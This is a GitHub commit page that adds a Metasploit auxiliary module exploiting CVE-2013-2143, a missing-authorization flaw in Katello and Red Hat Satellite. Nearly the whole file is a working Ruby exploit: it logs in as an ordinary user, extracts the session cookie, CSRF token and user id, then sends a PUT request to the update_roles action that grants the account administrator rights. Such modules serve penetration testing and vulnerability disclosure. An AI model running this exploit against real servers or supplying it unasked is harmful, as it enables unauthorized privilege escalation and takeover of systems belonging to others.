Skip to content

Commit c72c96f

Browse files
committed
Land rapid7#3138, @rcvalle's exploit for CVE-2013-2143
2 parents 1ac3944 + d83f665 commit c72c96f

File tree

1 file changed

+147
-0
lines changed

1 file changed

+147
-0
lines changed
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize
13+
super(
14+
'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
15+
'Description' => %q{
16+
This module exploits a missing authorization vulnerability in the
17+
"update_roles" action of "users" controller of Katello and Red Hat Satellite
18+
(Katello 1.5.0-14 and earlier) by changing the specified account to an
19+
administrator account.
20+
},
21+
'Author' => 'Ramon de C Valle',
22+
'License' => MSF_LICENSE,
23+
'References' =>
24+
[
25+
['CVE', '2013-2143'],
26+
['CWE', '862']
27+
],
28+
'DisclosureDate' => 'Mar 24 2014'
29+
)
30+
31+
register_options(
32+
[
33+
Opt::RPORT(443),
34+
OptBool.new('SSL', [true, 'Use SSL', true]),
35+
OptString.new('USERNAME', [true, 'Your username']),
36+
OptString.new('PASSWORD', [true, 'Your password']),
37+
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
38+
], self.class
39+
)
40+
end
41+
42+
def run
43+
print_status("Logging into #{target_url}...")
44+
res = send_request_cgi(
45+
'method' => 'GET',
46+
'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
47+
'vars_get' => {
48+
'username' => datastore['USERNAME'],
49+
'password' => datastore['PASSWORD']
50+
}
51+
)
52+
53+
if res.nil?
54+
print_error('No response from remote host')
55+
return
56+
end
57+
58+
if res.headers['Location'] =~ /user_session\/new$/
59+
print_error('Authentication failed')
60+
return
61+
else
62+
session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
63+
64+
if session.nil?
65+
print_error('Failed to retrieve the current session')
66+
return
67+
end
68+
end
69+
70+
print_status('Retrieving the CSRF token for this session...')
71+
res = send_request_cgi(
72+
'cookie' => "_katello_session=#{session}",
73+
'method' => 'GET',
74+
'uri' => normalize_uri(target_uri.path, 'dashboard')
75+
)
76+
77+
if res.nil?
78+
print_error('No response from remote host')
79+
return
80+
end
81+
82+
if res.headers['Location'] =~ /user_session\/new$/
83+
print_error('Authentication failed')
84+
return
85+
else
86+
session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
87+
88+
if session.nil?
89+
print_error('Failed to retrieve the current session')
90+
return
91+
end
92+
end
93+
94+
if res.headers['Location'] =~ /user_session\/new$/
95+
print_error('Failed to retrieve the user id')
96+
return
97+
else
98+
csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
99+
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
100+
101+
if csrf_token.nil?
102+
print_error('Failed to retrieve the CSRF token')
103+
return
104+
end
105+
106+
user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
107+
108+
if user.nil?
109+
print_error('Failed to retrieve the user id')
110+
return
111+
end
112+
end
113+
114+
print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
115+
res = send_request_cgi(
116+
'cookie' => "_katello_session=#{session}",
117+
'headers' => {
118+
'X-CSRF-Token' => csrf_token
119+
},
120+
'method' => 'PUT',
121+
'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
122+
'vars_post' => {
123+
'user[role_ids][]' => '1'
124+
}
125+
)
126+
127+
if res.nil?
128+
print_error('No response from remote host')
129+
return
130+
end
131+
132+
if res.headers['X-Message-Type'] =~ /success$/
133+
print_good('User updated successfully')
134+
else
135+
print_error('Failed to update user')
136+
end
137+
end
138+
139+
def target_url(*args)
140+
(ssl ? 'https' : 'http') +
141+
if rport.to_i == 80 || rport.to_i == 443
142+
"://#{vhost}"
143+
else
144+
"://#{vhost}:#{rport}"
145+
end + normalize_uri(target_uri.path, *args)
146+
end
147+
end

0 commit comments

Comments
 (0)